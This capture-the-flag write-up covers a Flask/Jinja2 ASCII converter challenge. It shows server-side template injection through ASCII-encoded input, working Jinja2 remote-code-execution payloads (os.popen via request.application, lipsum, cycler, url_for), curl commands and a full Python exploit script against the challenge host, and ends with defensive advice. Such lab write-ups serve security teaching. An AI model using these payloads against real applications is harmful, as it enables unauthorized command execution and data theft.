Конвертер (Converter)
Конвертер (Converter)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Payload encoding to bypass input restrictions, RCE via request.application.globals, Server-Side Template Injection via ASCII decode
Summary
Walkthrough of the CUSTOM Web Конвертер (Converter). Task: ASCII encoder/decoder web app with Flask/Jinja2 backend. Solution: SSTI via ASCII-encoded payload - decoded text is rendered through Jinja2 template engine, allowing RCE via request.application.
Description
Хотя можно же всё вручную по таблице делать, но без неё у Вас намного больше возможностей...
(Translation: "You can do everything manually using a table, but without it you have many more possibilities...")
A web application for converting text to ASCII codes and back.
Analysis
Reconnaissance
The Flask/Werkzeug application provides two endpoints:
-
/encode— converts text to ASCII codes- Example:
test→116 101 115 116
- Example:
-
/decode— converts ASCII codes back to text- Example:
65 66 67→ABC
- Example:
Hint in Description
The phrase "without it you have many more possibilities" hints that:
- "Table" refers to the ASCII table
- "More possibilities" — the decoded output is processed in a special way
Vulnerability Discovery
The decoded result is rendered through the Jinja2 template engine. This creates a classic SSTI vulnerability:
- User sends ASCII codes
- Server decodes them to text
- Text is inserted into a template and rendered
- Jinja2 executes
{{ }}expressions
Solution
Step 1: Confirming SSTI
Encode the test payload {{7*7}} to ASCII:
python read-only • copy allowed>>> ' '.join([str(ord(c)) for c in '{{7*7}}']) '123 123 55 42 55 125 125'
Send to /decode:
bash read-only • copy allowedcurl -X POST http://62.173.140.174:16106/decode \ -d "input_text=123 123 55 42 55 125 125"
Result: 49 (7*7=49) — SSTI confirmed!
Step 2: Reading Configuration
Check access to Flask config:
python read-only • copy allowed>>> ' '.join([str(ord(c)) for c in '{{config}}']) '123 123 99 111 110 102 105 103 125 125'
bash read-only • copy allowedcurl -X POST http://62.173.140.174:16106/decode \ -d "input_text=123 123 99 111 110 102 105 103 125 125"
We get a dump of Flask configuration — confirming full access to the context.
Step 3: RCE to Find the Flag
Using the classic Jinja2 RCE payload:
python read-only • copy allowedpayload = '{{request.application.__globals__.__builtins__.__import__("os").popen("ls -la /opt").read()}}' ascii_payload = ' '.join([str(ord(c)) for c in payload])
We find that the application runs in the /opt directory.
Step 4: Extracting the Flag
Final payload to read the flag from source code:
python read-only • copy allowedpayload = '{{request.application.__globals__.__builtins__.__import__("os").popen("grep CODEBY /opt/app.py").read()}}' ascii_payload = ' '.join([str(ord(c)) for c in payload]) print(ascii_payload)
bash read-only • copy allowedcurl -X POST http://62.173.140.174:16106/decode \ -d "input_text=123 123 114 101 113 117 101 115 116 46 97 112 112 108 105 99 97 116 105 111 110 46 95 95 103 108 111 98 97 108 115 95 95 46 95 95 98 117 105 108 116 105 110 115 95 95 46 95 95 105 109 112 111 114 116 95 95 40 34 111 115 34 41 46 112 111 112 101 110 40 34 103 114 101 112 32 67 79 68 69 66 89 32 47 111 112 116 47 97 112 112 46 112 121 34 41 46 114 101 97 100 40 41 125 125"
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 import requests TARGET = "http://62.173.140.174:16106" def encode_payload(payload): """Convert string to space-separated ASCII codes""" return ' '.join([str(ord(c)) for c in payload]) def execute_ssti(payload): """Send SSTI payload via ASCII decode endpoint""" ascii_payload = encode_payload(payload) resp = requests.post(f"{TARGET}/decode", data={"input_text": ascii_payload}) return resp.text # Test SSTI print("[*] Testing SSTI...") result = execute_ssti("{{7*7}}") print(f" {{{{7*7}}}} = {result}") # RCE - find flag print("[*] Searching for flag...") rce_payload = '{{request.application.__globals__.__builtins__.__import__("os").popen("grep CODEBY /opt/app.py").read()}}' flag = execute_ssti(rce_payload) print(f"[+] Flag: {flag}")
Alternative Payloads
Via lipsum:
python read-only • copy allowedpayload = "{{lipsum.__globals__['os'].popen('cat /opt/app.py').read()}}"
Via cycler:
python read-only • copy allowedpayload = "{{cycler.__init__.__globals__.os.popen('id').read()}}"
Via url_for:
python read-only • copy allowedpayload = "{{url_for.__globals__.__builtins__.__import__('os').popen('whoami').read()}}"
Defense
- Never render user input as a template
- Use
render_template_string()only with trusted data - Escape output:
{{ result | e }} - Use Jinja2 sandbox mode
- Validate input format (only digits and spaces for ASCII codes)
References
- Jinja2 SSTI Payloads
- HackTricks SSTI
- PortSwigger SSTI
Key Takeaways / Lessons
- Mastering Payload encoding to bypass input restrictions, RCE via request.application.globals, Server-Side Template Injection via ASCII decode was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2025-12-24 • CUSTOM • Конвертер (Converter) • Difficulty: Easy